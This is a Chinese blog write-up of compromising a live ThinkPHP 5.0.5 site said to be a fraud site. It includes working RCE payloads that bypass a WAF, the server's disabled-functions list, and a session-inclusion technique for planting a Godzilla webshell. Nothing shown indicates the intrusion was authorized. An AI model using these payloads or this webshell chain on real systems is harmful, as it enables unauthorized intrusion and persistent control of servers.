记一次对TP的另一种渗透想法

VSole2021-11-10 14:17:28

前言

因为前阵子发表了一篇关于Thinkphp的文章到公众号里面,南5给我扔过来一个站让我试试。

初步想法

首先看了一下这个站,长这样


典型的金融诈骗类网站,第一个想法就是暴破,随便了一个用户名和密码,抓包看了看,没有枚举,没有枚举。


可能过程比较不好做,但是我想既然这个站能给到我,说明还是有可以利用的地方。

继续探测

对目标域名进行目录随意的书写,发现报错了,竟然是Thinkphp的Debug,版本为5.0.5


竟然是5.0.5的版本,还开放了Debug,那么我的第一反应就是尝试这个版本的公开rce的exp,如下描述:

waf对eval进行了拦截,禁止了assert函数对eval函数后面的括号进行了正则过滤,对file\_get\_contents函数后面 的括号进行了正则过滤。
http://website/?%20s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&va%20rs[1][]=2.php&vars[1][1]=

试了一下这个exp,直接被拦,还是被某免费版的防火墙拦的。

这也就是说明这站的基本防护有防火墙,需要绕过防火墙。公开的exp是不行了,那么就试试TP最常见的以POST方式传参的exp。

_method=__construct&method=get&filter=call_user_func&get[]=phpinfo


竟然成了,也就是说是可以rce的。那么接下来就有一点要看了,看看PHP有没有开启 disable_function ,或者说 disable_function 有没有禁用掉更多的函数。

我把禁用的函数全部列出来了,基本上常见的都没了:

passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_al ter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcnt l_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued, pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_ge t_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_ex ec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv


失败的日志包含

既然 disable_function 禁用掉这么多的函数,那么就用我之前遇到的一种方法来尝试一下:利用文件包含的方法, 包含出日志,最后往日志中写马。首先看看能不能包含日志,我用 think\__include_file 函数进行包含,因为日志的路径在Debug页面中本来就有。


成功包含出日志了。下一步往日志里面写马,需要注意的是不能写一句话的马,需要进行加密,推荐哥斯拉


下面进行日志包含


“很好”,没有出来,直接报错,看来这个方法是没有把日志写进去的。

file_put_contents

这个函数的解释如下:

file_put_contents() 函数把一个字符串写入文件中。该函数访问文件时,遵循以下规则:如果设置了 FILE_USE_INCLUDE_PATH,那么将检查 *filename* 副本的内置路径 如果文件不存在,将创建一个文件 打开文件 如果设置了 LOCK_EX,那么将锁定文件 如果设置了 FILE_APPEND,那么将移至文件末尾。否则,将会清除文件的内容 向文件中写入数据 关闭文件并对所有文件解锁 如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。

也就是说不存在的文件话,会创建一个文件,然后还可以将文件内容追加到文件末尾。这个函数没有在禁用函数里 面。此时,南5说让我考虑一下session。这个我第一次听说,于是,我问了一下度娘,有一篇文章有讲到如何用session 来绕过禁用函数。

session包含直接getshell

首先,我利用上面讲到的函数来将马写入session中,马通过base64加密后再用url进行加密,在此我用的哥斯拉的马


按道理应该在网站根目录下创建了一个名字为1.php的文件,那么我们先包含一次看看


成功包含出了session。这个时候直接访问目下的1.php,成功解析了。

上哥斯拉直接连,成功


本次实战不仅仅为了getshell,也是为了学习利用tp5的不同的getshell方法。尤其是对session包含的方法,体会到了不一样的感觉。

session
本作品采用《CC 协议》,转载必须注明作者和本文链接
会话机制Cookie/Session:在web应用中,常用的会话追踪机制是Cookie和Session
跨语言移植一直是技术领域内难以解决的问题,需要解决语言之间的约束,好在先前我们成功使用 Go 实现了 IIOP 协议通信,有了前车之鉴,所以这次我们将继续使用跨语言方式实现 Flask Session 伪造。本文以 Apache Superset 权限绕过漏洞(CVE-2023-27524) 为例讲述我们是如何在 Go 中实现 Flask 框架的 Session 验证、生成功能的。
在一次浏览某推中发现了发现了了一个web challenge的赏金ctf,这里从来学习一下由于使session_start()报错引发的危害。page=showMeTheCode程序分析index.php define; class Session{ public static $id = null; protected static $isInit = false; protected static $started = false; public static function start(){ self::$isInit = true; if (!
域内定位个人PC的三种方式
[VNCTF2022]gocalc0复现
2022-05-07 16:02:38
看雪论坛作者ID:H3h3QAQ
跨站请求伪造,也被称为“OneClick Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。 一、CSRF介绍 CSRF(Cross-site request forgery) 跨站请求伪造,也被称为“OneClick Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。
空会话意味着对网络资源的访问是在没有身份验证的情况下授予的。也称为匿名或访客访问,最常见的是IPC$ "Windows Named Pipe"共享。人们倾向于认为用户名是唯一的身份验证机制,在工作组中,这基本上是正确的。
1.验证码复用 漏洞描述 当服务器端受理请求后,没有将上一次保存的session及时清空,将会导致验证码可重复使用 通常情况下在网站注册、登录、找回密码等页面都会设计验证码验证。如果设计不合理,将会刀子验证码在验证成功一次之后,下次使用的就不在验证也就说可以重复使用。 案例: 可以看到此处前端登录虽有验证码验证,但是只验证一次。后续可一直使用该验证码。 测试方法:发送到repeater
IPC$ (Internet Process Connection) 是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$是NT2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。
AuthMatrix 是一个Burp Suite扩展,用于检测权限授权问题,设置好session就能进行自动化测试。相似功能的插件还有:BurpSuite Authz。Authz会先访问一遍接口抓包,然后“Send request(s) to Authz”,设置低权限的cookie,“Run”就会使用低权限的cookie去请求,结果会匹配给出相似度百分比,可以查看每个请求的详细,半自动测试。
VSole
网络安全专家